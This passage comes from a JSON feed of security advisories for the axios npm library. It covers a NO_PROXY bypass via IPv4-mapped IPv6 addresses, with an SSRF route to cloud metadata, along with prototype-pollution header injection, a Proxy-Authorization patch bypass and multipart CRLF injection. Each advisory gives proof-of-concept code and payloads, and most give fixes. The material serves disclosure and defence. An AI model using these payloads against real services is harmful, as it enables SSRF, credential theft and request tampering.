parser canonicalises `http://[::ffff:127.0.0.1]/` to hostname `[::ffff:7f00:1]`. After bracket-stripping: `::ffff:7f00:1`. This string does not match 127.0.0.1 in NO_PROXY and is not in LOOPBACK_ADDRESSES, so shouldBypassProxy returns false and the proxy is used.  proxy-from-env (called before shouldBypassProxy) has the same gap - it does not equate ::ffff:7f00:1 with 127.0.0.1 - so neither layer catches the bypass.\n\n### PoC\n```javascript\n\n// NO_PROXY=127.0.0.1,localhost,::1  HTTP_PROXY=http://attacker:8080\nimport shouldBypassProxy from 'axios/lib/helpers/shouldBypassProxy.js';                                                                                                       \n                                                                                                                                                                              \n// All three should return true (bypass proxy). Only the first two do.                                                                                                        \nconsole.log(shouldBypassProxy('http://127.0.0.1/'));          // true  [OK]                                                                                                     \nconsole.log(shouldBypassProxy('http://[::1]/'));               // true  [OK]                                                                                                     \nconsole.log(shouldBypassProxy('http://[::ffff:127.0.0.1]/')); // false \u003c- bypass                                                                                             \nconsole.log(shouldBypassProxy('http://[::ffff:7f00:1]/'));     // false \u003c- bypass\n\n```                                                                                              \n                                                                                                                                                                              \nNode.js routes ::ffff:7f00:1 to 127.0.0.1:                                                                                                                                    \n\n```                                                                                                                                                                              \n// net.connect({ host: '::ffff:7f00:1', port: 80 }) reaches a service                                                                                                       \n// bound to 127.0.0.1:80 — confirmed on Node.js v24, Linux and macOS.                                                                                                         \n```                                                                                                                                                                              \nCloud metadata SSRF: ::ffff:a9fe:a9fe = ::ffff:169.254.169.254. If NO_PROXY=169.254.169.254 is set to block IMDS access, a request to http://[::ffff:a9fe:a9fe]/latest/meta-data/ bypasses it.                                                                                                                      \n                                                                                                                                                                            \n#### Fix                                                                                                                                                                           \n                                                                                                                                                                            \nCanonicalise IPv4-mapped IPv6 in normalizeNoProxyHost before any comparison:                                                                                                  \n \n ```javascript                                                                                                                                                                           \nconst ipv4MappedDotted = /^::ffff:(\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3})$/i;                                                                                                    \nconst ipv4MappedHex    = /^::ffff:([0-9a-f]{1,4}):([0-9a-f]{1,4})$/i;                                                                                                         \n                                                                                                                                                                              \nfunction hexToIPv4(a, b) {                                                                                                                                                    \n  const hi = parseInt(a, 16), lo = parseInt(b, 16);                                                                                                                           \n  return `${hi \u003e\u003e 8}.${hi \u0026 0xff}.${lo \u003e\u003e 8}.${lo \u0026 0xff}`;                                                                                                                   \n}                                                                                                                                                                             \n                                                                                                                                                                              \nconst normalizeNoProxyHost = (hostname) =\u003e {                                                                                                                                  \n  if (!hostname) return hostname;                                                                                                                                           \n  if (hostname[0] === '[' \u0026\u0026 hostname.at(-1) === ']')\n    hostname = hostname.slice(1, -1);                                                                                                                                         \n  hostname = hostname.replace(/\\.+$/, '').toLowerCase();\n                                                                                                                                                                              \n  let m;                                                                                                                                                                    \n  if ((m = hostname.match(ipv4MappedDotted))) return m[1];                                                                                                                    \n  if ((m = hostname.match(ipv4MappedHex)))    return hexToIPv4(m[1], m[2]);                                                                                                   \n  return hostname;                                                                                                                                                            \n};\n\n```\n\n### Impact\nAny application that sets NO_PROXY to exclude internal or metadata endpoints and uses an HTTP/HTTPS proxy can have those exclusions bypassed by a URL using IPv4-mapped IPv6 notation. The attacker must control the request URL. In cloud environments with instance metadata services, this can lead to credential exfiltration.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-05-29T15:59:30.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.6,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","references":["https://github.com/axios/axios/security/advisories/GHSA-pjwm-pj3p-43mv","https://nvd.nist.gov/vuln/detail/CVE-2025-62718","https://nvd.nist.gov/vuln/detail/CVE-2026-44492","https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-44492.json","https://bugzilla.redhat.com/show_bug.cgi?id=2487938","https://access.redhat.com/security/cve/CVE-2026-44492","https://access.redhat.com/errata/RHSA-2026:36108","https://access.redhat.com/errata/RHSA-2026:33574","https://access.redhat.com/errata/RHSA-2026:33183","https://access.redhat.com/errata/RHSA-2026:33173","https://access.redhat.com/errata/RHSA-2026:33163","https://access.redhat.com/errata/RHSA-2026:33160","https://access.redhat.com/errata/RHSA-2026:33155","https://access.redhat.com/errata/RHSA-2026:33005","https://access.redhat.com/errata/RHSA-2026:30651","https://access.redhat.com/errata/RHSA-2026:30650","https://access.redhat.com/errata/RHSA-2026:29197","https://access.redhat.com/errata/RHSA-2026:29082","https://access.redhat.com/errata/RHSA-2026:28964","https://access.redhat.com/errata/RHSA-2026:27063","https://access.redhat.com/errata/RHSA-2026:27044","https://access.redhat.com/errata/RHSA-2026:26234","https://access.redhat.com/errata/RHSA-2026:20938","https://access.redhat.com/errata/RHSA-2026:20889","https://access.redhat.com/errata/RHSA-2026:36883","https://access.redhat.com/errata/RHSA-2026:36882","https://access.redhat.com/errata/RHSA-2026:36820","https://access.redhat.com/errata/RHSA-2026:36754","https://access.redhat.com/errata/RHSA-2026:34766","https://access.redhat.com/errata/RHSA-2026:36611","https://access.redhat.com/errata/RHSA-2026:40119","https://access.redhat.com/errata/RHSA-2026:40138","https://access.redhat.com/errata/RHSA-2026:40262","https://access.redhat.com/errata/RHSA-2026:41031","https://access.redhat.com/errata/RHSA-2026:41066","https://access.redhat.com/errata/RHSA-2026:41055","https://access.redhat.com/errata/RHSA-2026:41064","https://github.com/advisories/GHSA-pjwm-pj3p-43mv"],"source_kind":"github","identifiers":["GHSA-pjwm-pj3p-43mv","CVE-2026-44492"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-29T16:00:09.190Z","updated_at":"2026-10-02T09:01:55.643Z","epss_percentage":0.00783,"epss_percentile":0.5409,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wandtLXBqM3AtNDNtds4ABXuu","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1wandtLXBqM3AtNDNtds4ABXuu","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":"1.16.0","vulnerable_version_range":"\u003e= 1.15.0, \u003c 1.16.0"}],"purl":"pkg:npm/axios"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wandtLXBqM3AtNDNtds4ABXuu/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS04OThjLXEyY3IteHdoZ84ABXut","url":"https://github.com/advisories/GHSA-898c-q2cr-xwhg","title":"axios has DoS \u0026 Header Injection via Prototype Pollution Read-Side Gadgets in axios merge functions","description":"## Summary\n\naxios `1.15.2` exposes two read-side prototype-pollution gadgets. When `Object.prototype` is polluted by an upstream dependency in the same process (e.g. lodash `_.merge` / [CVE-2018-16487](https://nvd.nist.gov/vuln/detail/CVE-2018-16487)), axios silently picks up the polluted values:\n\n1. **Header injection** - `lib/utils.js` line 406 builds `merge()`'s accumulator as `result = {}`, so `result[targetKey]` (line 414) walks `Object.prototype` and the polluted bucket's own keys are copied into the merged headers and ride out on the wire.\n2. **Crash DoS** - `lib/core/mergeConfig.js` line 26 builds the `hasOwnProperty` descriptor as a plain-object literal. `Object.defineProperty` reads `descriptor.get`/`descriptor.set` via the prototype chain, so a polluted `Object.prototype.get` or `Object.prototype.set` makes the call throw `TypeError` synchronously on every axios request.\n\n## Affected Properties\n\n| Polluted slot | Effect |\n|---|---|\n| `Object.prototype.common` | injects headers on every method |\n| `Object.prototype.delete` / `.head` / `.post` / `.put` / `.patch` / `.query` | injects headers on the matching method |\n| `Object.prototype.get` | every axios request throws `TypeError: Getter must be a function` from `mergeConfig.js:26` |\n| `Object.prototype.set` | every axios request throws `TypeError: Setter must be a function` from `mergeConfig.js:26` |\n\nPer-request headers (`axios.request(url, { headers: {...} })`) overwrite polluted entries. Polluting `Object.prototype.get` triggers the crash before any header is built.\n\n## Proof of Concept\n\n```javascript\nconst axios = require('axios');\n\n// Finding A - header injection\nObject.prototype.common = { 'X-Poisoned': 'yes' };\nawait axios.get('http://api.example.com/users');\n// Wire request carries `X-Poisoned: yes`.\n\n// Finding B - crash DoS\nObject.prototype.get = { something: 'anything' };\nawait axios.get('http://api.example.com/users');\n// TypeError: Getter must be a function: #\u003cObject\u003e\n//     at Function.defineProperty (\u003canonymous\u003e)\n//     at mergeConfig (lib/core/mergeConfig.js:26:10)\n```\n\n## Impact\n\n- **Server hang** (`Content-Length: 99999`): receiver waits for a body that never arrives. Affects requests with a body.\n- **CL+TE conflict** (`Transfer-Encoding: chunked` rides alongside axios's auto `Content-Length`): receiver rejects with `400 Bad Request`. Affects requests with a body.\n- **Response suppression** (`If-None-Match: *`): receiver returns empty `304 Not Modified`. Affects GET / HEAD.\n- **Crash DoS** (`Object.prototype.get` / `.set`): every axios request fails synchronously with `TypeError`, not `AxiosError`, so handlers filtering on `error.isAxiosError` mishandle the failure.\n\n## Attack Flow\n\n```mermaid\nflowchart TD\n    ROOT[\"Polluted Object.prototype\u003cbr/\u003evia upstream gadget (e.g. lodash \u0026lt;= 4.17.10 _.merge / CVE-2018-16487)\u003cbr/\u003eaxios \u0026lt;= 1.15.2\"]\n\n    ROOT --\u003e CLASS_A[\"A. Arbitrary HTTP Header Injection\u003cbr/\u003ePolluted defaults.headers slot rides along on every outbound axios request\"]\n    ROOT --\u003e CLASS_B[\"B. Crash DoS via Object.prototype.get / .set\u003cbr/\u003ePolluted descriptor breaks Object.defineProperty in mergeConfig\"]\n\n    CLASS_A --\u003e PRE_A[\"Precondition: header not set per-request by the app\u003cbr/\u003eInjected via defaults.headers slot\u003cbr/\u003e(common, delete, head, post, put, patch, query)\"]\n\n    PRE_A --\u003e PA1[\"Response Suppression\u003cbr/\u003eTrigger: common = {If-None-Match: *}\u003cbr/\u003eAffects GET / HEAD\"]\n    PA1 --\u003e SA1[\"DoS\u003cbr/\u003e304 Not Modified empty\"]\n\n    PRE_A --\u003e PA2[\"Server Hang\u003cbr/\u003eTrigger: common = {Content-Length: 99999}\u003cbr/\u003eAffects requests with body\"]\n    PA2 --\u003e SA2[\"DoS\u003cbr/\u003econnection hang\"]\n\n    PRE_A --\u003e PA3[\"CL+TE Conflict\u003cbr/\u003eTrigger: common = {Transfer-Encoding: chunked}\u003cbr/\u003eAffects requests with body\"]\n    PA3 --\u003e SA3[\"DoS\u003cbr/\u003e400 Bad Request\"]\n\n    CLASS_B --\u003e SB1[\"DoS\u003cbr/\u003eTypeError: Getter / Setter must be a function\u003cbr/\u003eCrashes every axios request, not only GET\"]\n\n    %% Styles\n    style ROOT fill:#f87171,stroke:#991b1b,color:#fff\n    style CLASS_A fill:#fb923c,stroke:#9a3412,color:#fff\n    style CLASS_B fill:#fb923c,stroke:#9a3412,color:#fff\n    style PRE_A fill:#e2e8f0,stroke:#64748b,color:#1e293b\n    style PA1 fill:#fbbf24,stroke:#92400e,color:#000\n    style PA2 fill:#fbbf24,stroke:#92400e,color:#000\n    style PA3 fill:#fbbf24,stroke:#92400e,color:#000\n    style SA1 fill:#ef4444,stroke:#991b1b,color:#fff\n    style SA2 fill:#ef4444,stroke:#991b1b,color:#fff\n    style SA3 fill:#ef4444,stroke:#991b1b,color:#fff\n    style SB1 fill:#ef4444,stroke:#991b1b,color:#fff\n```\n\n## Root Cause\n\n**Finding A.** `lib/utils.js:404-429`'s `merge()` creates `result = {}` at line 406. The dangerous-keys filter on lines 408-411 blocks the write side, but the read at line 414 (`isPlainObject(result[targetKey])`) still walks the prototype chain. When `targetKey` matches a polluted slot, `result[targetKey]` returns the polluted nested object, and the recursive `merge(result[targetKey], val)` on line 415 iterates that object's own keys via `forEach` and copies them as own properties into the new accumulator. Those keys flow through `mergeConfig.js:35` → `Axios.js:148` (`utils.merge(headers.common, headers[config.method])`) → `Axios.js:155` (`AxiosHeaders.concat(...)`) → onto the wire via `http.js:677` (`headers: headers.toJSON()`) → `http.js:767` (`transport.request(options, ...)`).\n\n**Finding B.** `lib/core/mergeConfig.js:25` correctly makes `config = Object.create(null)`, but the descriptor passed on line 26 is a plain-object literal - its `get`/`set` lookups walk `Object.prototype`. A polluted non-function `Object.prototype.get` or `.set` makes `Object.defineProperty` throw `TypeError: Getter must be a function` (or `Setter must be a function`) before the call returns. The descriptor is built unconditionally on every `mergeConfig` invocation, so every axios request throws - POST, PUT, DELETE, PATCH, HEAD, QUERY, not only GET.\n\n## Suggested Fix\n\nUse null-prototype objects in place of the plain-object literals at `lib/utils.js:406` and `lib/core/mergeConfig.js:26-31`. The same descriptor pattern recurs at `lib/core/AxiosError.js:37`, `lib/core/AxiosHeaders.js:100`, `lib/utils.js:447/454/492/498`, and `lib/adapters/adapters.js:28/32`.\n\n## Resources\n\n- [CVE-2018-16487](https://nvd.nist.gov/vuln/detail/CVE-2018-16487) - `lodash.merge` prototype pollution in `lodash \u003c= 4.17.10`\n- [CWE-1321](https://cwe.mitre.org/data/definitions/1321.html) - Improperly Controlled Modification of Object Prototype Attributes","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-05-29T15:54:57.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":4.8,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:L","references":["https://github.com/axios/axios/security/advisories/GHSA-898c-q2cr-xwhg","https://nvd.nist.gov/vuln/detail/CVE-2018-16487","https://nvd.nist.gov/vuln/detail/CVE-2026-44490","https://github.com/advisories/GHSA-898c-q2cr-xwhg"],"source_kind":"github","identifiers":["GHSA-898c-q2cr-xwhg","CVE-2026-44490"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-29T16:00:09.190Z","updated_at":"2026-09-25T12:03:21.743Z","epss_percentage":0.00403,"epss_percentile":0.31736,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04OThjLXEyY3IteHdoZ84ABXut","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS04OThjLXEyY3IteHdoZ84ABXut","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":"0.32.0","vulnerable_version_range":"\u003c= 0.31.1"},{"first_patched_version":"1.16.0","vulnerable_version_range":"\u003e= 1.0.0, \u003c 1.16.0"}],"purl":"pkg:npm/axios"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04OThjLXEyY3IteHdoZ84ABXut/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS02NTRtLWM4cDQteDVmcM4ABXus","url":"https://github.com/advisories/GHSA-654m-c8p4-x5fp","title":"Axios has a Patch Bypass: Proxy-Authorization Header Injection via Prototype Pollution — Incomplete Null-Prototype Fix","description":"# [Patch Bypass] Proxy-Authorization Header Injection via Prototype Pollution — Incomplete Null-Prototype Fix in Axios 1.15.2\n\n## Summary\n\nThe `Object.create(null)` fix introduced in Axios 1.15.2 (GHSA-q8qp-cvcw-x6jj) protects the **top-level config object** from prototype pollution. However, **nested objects** created by `utils.merge()` (e.g., `config.proxy`) are still constructed as plain `{}` with `Object.prototype` in their chain.\n\nThe `setProxy()` function at `lib/adapters/http.js:209-223` reads `proxy.username`, `proxy.password`, and `proxy.auth` **without `hasOwnProperty` checks**. When `Object.prototype.username` is polluted, `setProxy()` constructs a `Proxy-Authorization` header with attacker-controlled credentials and injects it into **every proxied HTTP request**.\n\n**Severity:** Medium (CVSS 5.4)\n**Affected Versions:** 1.15.2 (and potentially 1.15.1)\n**Vulnerable Component:** `lib/adapters/http.js` (`setProxy()`) + `lib/utils.js` (`merge()`)\n\n## CWE\n\n- **CWE-1321:** Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')\n- **CWE-113:** Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')\n\n## CVSS 3.1\n\n**Score: 5.6 (Medium)**\n\nVector: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L`\n\n| Metric | Value | Justification |\n|---|---|---|\n| Attack Vector | Network | PP triggered remotely via vulnerable dependency |\n| Attack Complexity | **High** | Requires **two** preconditions: (1) PP in dependency tree, AND (2) the application must explicitly configure `config.proxy`. Unlike GHSA-q8qp-cvcw-x6jj which affected all requests unconditionally |\n| Privileges Required | None | No authentication needed |\n| User Interaction | None | No user interaction required |\n| Scope | Unchanged | Within the proxy authentication context |\n| Confidentiality | **Low** | Attacker-controlled identity appears in proxy authentication logs, but the attacker does NOT see request/response data (unlike `config.baseURL` hijack) |\n| Integrity | **Low** | Proxy-Authorization header injected; proxy may apply different access policies based on injected identity |\n| Availability | **Low** | If proxy rejects the injected credentials, legitimate requests may fail |\n\n### Why This Is Lower Severity Than GHSA-q8qp-cvcw-x6jj (7.4 High)\n\n| Factor | GHSA-q8qp-cvcw-x6jj | This Finding |\n|---|---|---|\n| Precondition | **None** — all requests affected | Must have `config.proxy` set |\n| `config.baseURL` PP | Hijacks **all** relative URL requests | Not applicable |\n| `config.auth` PP | Injects `Authorization` to **target server** | Only injects `Proxy-Authorization` to **proxy** |\n| Attacker sees traffic | Yes (via baseURL redirect) | **No** — only proxy identity affected |\n| Impact scope | Universal — every axios request | Only requests with explicit proxy config |\n\n## This Is a Patch Bypass\n\nThis vulnerability **bypasses the fix** introduced in Axios 1.15.2 for GHSA-q8qp-cvcw-x6jj. The fix correctly uses `Object.create(null)` for the config object, blocking direct prototype pollution on `config.proxy`, `config.auth`, etc.\n\nHowever, the fix is **incomplete**: when a user legitimately sets `config.proxy = { host: 'proxy.corp', port: 8080 }`, the `mergeConfig()` function passes this object through `utils.merge()`, which creates a **new plain `{}` object** (`lib/utils.js:406: const result = {};`). This new object inherits from `Object.prototype`, re-opening the prototype pollution attack surface on the **nested** proxy object.\n\n| Layer | Protection | Status |\n|---|---|---|\n| `config` (top-level) | `Object.create(null)` | ✓ Fixed |\n| `config.proxy` (nested) | `utils.merge()` → `const result = {}` | **✗ NOT Fixed** |\n| `setProxy()` reads | `proxy.username`, `proxy.auth` without `hasOwnProperty` | **✗ NOT Fixed** |\n\n## Root Cause Analysis\n\n### Step 1: `utils.merge()` creates plain `{}` for nested objects\n\n**File:** `lib/utils.js`, line 406\n\n```javascript\nfunction merge(/* obj1, obj2, obj3, ... */) {\n  const result = {};  // ← Plain object with Object.prototype!\n  // ...\n}\n```\n\nWhen `mergeConfig()` processes `config.proxy`, `getMergedValue()` calls `utils.merge()`, which creates a plain `{}` for the nested object. This plain object inherits from `Object.prototype`.\n\n### Step 2: `setProxy()` reads proxy properties without `hasOwnProperty`\n\n**File:** `lib/adapters/http.js`, lines 209-223\n\n```javascript\nfunction setProxy(options, configProxy, location) {\n  let proxy = configProxy;\n  // ...\n  if (proxy) {\n    if (proxy.username) {                    // ← traverses Object.prototype!\n      proxy.auth = (proxy.username || '') + ':' + (proxy.password || '');\n    }\n\n    if (proxy.auth) {                        // ← traverses Object.prototype!\n      const validProxyAuth = Boolean(proxy.auth.username || proxy.auth.password);\n      if (validProxyAuth) {\n        proxy.auth = (proxy.auth.username || '') + ':' + (proxy.auth.password || '');\n      }\n      // ...\n      const base64 = Buffer.from(proxy.auth, 'utf8').toString('base64');\n      options.headers['Proxy-Authorization'] = 'Basic ' + base64;  // ← INJECTED!\n    }\n    // ...\n  }\n}\n```\n\n### Complete Attack Chain\n\n```\nObject.prototype.username = 'attacker'\nObject.prototype.password = 'stolen-creds'\n         │\n         ▼\n  User config: { proxy: { host: 'proxy.corp', port: 8080 } }\n         │\n         ▼\n  mergeConfig() → utils.merge() → new plain {}\n  config.proxy = { host: 'proxy.corp', port: 8080 }  (own properties)\n  config.proxy inherits from Object.prototype         (has .username, .password)\n         │\n         ▼\n  setProxy() at http.js:209:\n    proxy.username → 'attacker' (from Object.prototype) → truthy!\n    proxy.auth = 'attacker' + ':' + 'stolen-creds'\n         │\n         ▼\n  http.js:223: Proxy-Authorization: Basic YXR0YWNrZXI6c3RvbGVuLWNyZWRz\n  Injected into EVERY proxied HTTP request!\n```\n\n## Proof of Concept\n\n```javascript\nimport http from 'http';\nimport axios from './index.js';\n\n// Proxy server logs received Proxy-Authorization\nconst proxyServer = http.createServer((req, res) =\u003e {\n  console.log('Proxy-Authorization:', req.headers['proxy-authorization']);\n  res.writeHead(200);\n  res.end('OK');\n});\nawait new Promise(r =\u003e proxyServer.listen(0, r));\nconst proxyPort = proxyServer.address().port;\n\n// Target server\nconst target = http.createServer((req, res) =\u003e { res.writeHead(200); res.end(); });\nawait new Promise(r =\u003e target.listen(0, r));\n\n// Simulate prototype pollution from vulnerable dependency\nObject.prototype.username = 'attacker';\nObject.prototype.password = 'stolen-creds';\n\n// Developer sets proxy WITHOUT auth — expects no auth header\nawait axios.get(`http://127.0.0.1:${target.address().port}/api`, {\n  proxy: { host: '127.0.0.1', port: proxyPort, protocol: 'http' },\n});\n\n// Proxy receives: Proxy-Authorization: Basic YXR0YWNrZXI6c3RvbGVuLWNyZWRz\n// Decoded: attacker:stolen-creds\n\ndelete Object.prototype.username;\ndelete Object.prototype.password;\nproxyServer.close();\ntarget.close();\n```\n\n## Reproduction Environment\n\n```\nAxios version: 1.15.2 (latest patched release)\nNode.js version: v20.20.2\nOS: macOS Darwin 25.4.0\n```\n\n## Reproduction Steps\n\n```bash\n# 1. Install axios 1.15.2\nnpm pack axios@1.15.2\ntar xzf axios-1.15.2.tgz \u0026\u0026 mv package axios-1.15.2\ncd axios-1.15.2 \u0026\u0026 npm install\n\n# 2. Save PoC as poc.mjs (code from Section 7 above)\n\n# 3. Run\nnode poc.mjs\n```\n\n## Verified PoC Output\n\n```\n=== Axios 1.15.2: PP → Proxy-Authorization Injection ===\n\n[1] Normal request with proxy (no auth):\n  Proxy-Authorization: none\n\n[2] Prototype Pollution: Object.prototype.username = \"attacker\"\n  Proxy-Authorization: Basic YXR0YWNrZXI6c3RvbGVuLWNyZWRz\n  Decoded: attacker:stolen-creds\n  → PP injected proxy credentials: attacker:stolen-creds\n\n[3] Impact:\n  ✗ Attacker injects Proxy-Authorization into all proxied requests\n  ✗ If proxy logs auth, attacker credential appears in proxy logs\n  ✗ If proxy authenticates based on this, attacker controls proxy identity\n  ✗ Works on 1.15.2 despite null-prototype config fix\n  ✗ Root cause: proxy object is plain {} from utils.merge, NOT null-prototype\n```\n\n### Confirming the Bypass Mechanism\n\n```\nDirect PP (config.proxy) — BLOCKED by 1.15.2:\n  Object.prototype.proxy = { host: 'evil' }\n  config.proxy = undefined            ← null-prototype blocks ✓\n\nNested PP (proxy.username) — BYPASSES 1.15.2:\n  Object.prototype.username = 'attacker'\n  config.proxy = { host: 'legit', port: 8080 }  ← user-set, own properties\n  config.proxy own keys: ['host', 'port']        ← username NOT own\n  config.proxy.username = 'attacker'             ← inherited from Object.prototype!\n  hasOwn(config.proxy, 'username') = false\n```\n```\n\n## Impact Analysis\n\n- **Proxy Identity Spoofing:** The injected `Proxy-Authorization` header authenticates all requests to the proxy as the attacker. If the proxy enforces authentication-based access control or logging, the attacker controls the identity.\n- **Proxy Log Poisoning:** Proxy servers that log authenticated usernames will record \"attacker\" instead of the real user, enabling audit trail manipulation.\n- **Credential Injection Amplification:** If the proxy forwards the `Proxy-Authorization` header upstream (some transparent proxies do), the attacker's credentials propagate through the proxy chain.\n- **Universal Scope When Proxy Is Configured:** Affects every axios request that uses a proxy configuration without explicit auth — a common pattern in corporate environments.\n\n### Prerequisite\n\n- Application must use `config.proxy` (explicit proxy configuration)\n- A separate prototype pollution vulnerability must exist in the dependency tree\n- `Object.prototype.username` or `Object.prototype.auth` must be polluted\n\n## Recommended Fix\n\n### Fix 1: Use `hasOwnProperty` in `setProxy()`\n\n```javascript\nfunction setProxy(options, configProxy, location) {\n  let proxy = configProxy;\n  // ...\n  if (proxy) {\n    const hasOwn = (obj, key) =\u003e Object.prototype.hasOwnProperty.call(obj, key);\n\n    if (hasOwn(proxy, 'username')) {\n      proxy.auth = (proxy.username || '') + ':' + (proxy.password || '');\n    }\n\n    if (hasOwn(proxy, 'auth')) {\n      // ... existing auth handling ...\n    }\n  }\n}\n```\n\n### Fix 2: Use null-prototype objects in `utils.merge()`\n\n```javascript\n// lib/utils.js line 406\nfunction merge(/* obj1, obj2, obj3, ... */) {\n  const result = Object.create(null);  // ← null-prototype for nested objects too\n  // ...\n}\n```\n\n### Fix 3 (Comprehensive): Apply null-prototype to all objects created by `getMergedValue()`\n\n## References\n\n- [CWE-1321: Prototype Pollution](https://cwe.mitre.org/data/definitions/1321.html)\n- [GHSA-q8qp-cvcw-x6jj: Original PP Gadgets Fix (Axios 1.15.2)](https://github.com/advisories/GHSA-q8qp-cvcw-x6jj)\n- [GHSA-fvcv-3m26-pcqx: Related PP Gadget (Axios 1.15.0)](https://github.com/advisories/GHSA-fvcv-3m26-pcqx)\n- [Axios GitHub Repository](https://github.com/axios/axios)","origin":"UNSPECIFIED","severity":"LOW","published_at":"2026-05-29T15:51:02.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":3.7,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N","references":["https://github.com/axios/axios/security/advisories/GHSA-654m-c8p4-x5fp","https://github.com/axios/axios/security/advisories/GHSA-q8qp-cvcw-x6jj","https://nvd.nist.gov/vuln/detail/CVE-2026-44489","https://github.com/advisories/GHSA-654m-c8p4-x5fp"],"source_kind":"github","identifiers":["GHSA-654m-c8p4-x5fp","CVE-2026-44489"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-29T16:00:09.190Z","updated_at":"2026-09-25T12:03:21.743Z","epss_percentage":0.00305,"epss_percentile":0.20619,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02NTRtLWM4cDQteDVmcM4ABXus","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02NTRtLWM4cDQteDVmcM4ABXus","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":"1.16.0","vulnerable_version_range":"= 1.15.2"}],"purl":"pkg:npm/axios"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02NTRtLWM4cDQteDVmcM4ABXus/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS00NDVxLXZyNXctNnE3N84ABWJ9","url":"https://github.com/advisories/GHSA-445q-vr5w-6q77","title":"Axios: CRLF Injection in multipart/form-data body via unsanitized blob.type in formDataToStream","description":"### Summary\nThe `FormDataPart` constructor in `lib/helpers/formDataToStream.js` interpolates `value.type` directly into the `Content-Type` header of each multipart part without sanitizing CRLF (`\\r\\n`) sequences. An attacker who controls the `.type` property of a Blob/File-like object (e.g., via a user-uploaded file in a Node.js proxy service) can inject arbitrary MIME part headers into the multipart form-data body. This bypasses Node.js v18+ built-in header protections because the injection targets the multipart body structure, not HTTP request headers.\n\n### Details\nIn `lib/helpers/formDataToStream.js` at line 27, when processing a Blob/File-like value, the code builds per-part headers by directly embedding value.type:\n```\nif (isStringValue) {\n  value = textEncoder.encode(String(value).replace(/\\r?\\n|\\r\\n?/g, CRLF));\n} else {\n  // value.type is NOT sanitized for CRLF sequences\n  headers += `Content-Type: ${value.type || 'application/octet-stream'}${CRLF}`;\n}\n```\nNote that the string path (line above) explicitly sanitizes CRLF, but the binary/blob path does not. This inconsistency confirms the sanitization was intended but missed for `value.type`.\n\n\n### Attack chain:\n\n1. Attacker uploads a file to a Node.js proxy service, supplying a crafted MIME type containing `\\r\\n` sequences\n2. The proxy appends the file to a FormData and posts it via `axios.post(url, formData)`\n3. axios calls `formDataToStream()`, which passes `value.type` unsanitized into the multipart body\n4. The downstream server receives a multipart body containing injected per-part headers\n5. The server's multipart parser processes the injected headers as legitimate\n\nThis is reachable via the fully public axios API (`axios.post(url, formData)`) with no special configuration.\nAdditionally, `value.name` used in the `Content-Disposition` construction nearby likely has the same issue and should be audited.\n\n### PoC\n**Prerequisites**: Node.js 18+, axios (tested on 1.14.0)\n```\nconst http = require('http');\nconst axios = require('axios');\n\nlet receivedBody = '';\n\nconst server = http.createServer((req, res) =\u003e {\n  let body = '';\n  req.on('data', chunk =\u003e { body += chunk.toString(); });\n  req.on('end', () =\u003e {\n    receivedBody = body;\n    res.writeHead(200);\n    res.end('ok');\n  });\n});\n\nserver.listen(0, '127.0.0.1', async () =\u003e {\n  const port = server.address().port;\n\n  class SpecFormData {\n    constructor() {\n      this._entries = [];\n      this[Symbol.toStringTag] = 'FormData';\n    }\n    append(name, value) { this._entries.push([name, value]); }\n    [Symbol.iterator]() { return this._entries[Symbol.iterator](); }\n    entries() { return this._entries[Symbol.iterator](); }\n  }\n\n  const fd = new SpecFormData();\n\n  fd.append('photo', {\n    type: 'image/jpeg\\r\\nX-Injected-Header: PWNED-by-attacker\\r\\nX-Evil: arbitrary-value',\n    size: 16,\n    name: 'photo.jpg',\n    [Symbol.asyncIterator]: async function*() {\n      yield Buffer.from('MALICIOUS PAYLOAD');\n    }\n  });\n\n  await axios.post(`http://127.0.0.1:${port}/upload`, fd);\n\n  if (receivedBody.includes('X-Injected-Header: PWNED-by-attacker')) {\n    console.log('[VULNERABLE] CRLF injection confirmed in multipart body');\n    console.log('Received body:\\n' + receivedBody);\n  } else {\n    console.log('[NOT_VULNERABLE]');\n  }\n\n  server.close();\n});\n```\n\n### Steps to reproduce:\n\n1. npm install axios\n2. Save the above as poc_axios_crlf.js\n3. Run node poc_axios_crlf.js\n4. Observe the output shows [VULNERABLE] with injected headers visible in the multipart body\n\n**Expected behavior**: value.type should be sanitized to strip \\r\\n before interpolation, consistent with the string value path.\n**Actual behavior**: CRLF sequences in value.type are preserved, allowing arbitrary header injection in multipart parts.\n\n### Impact\nAny 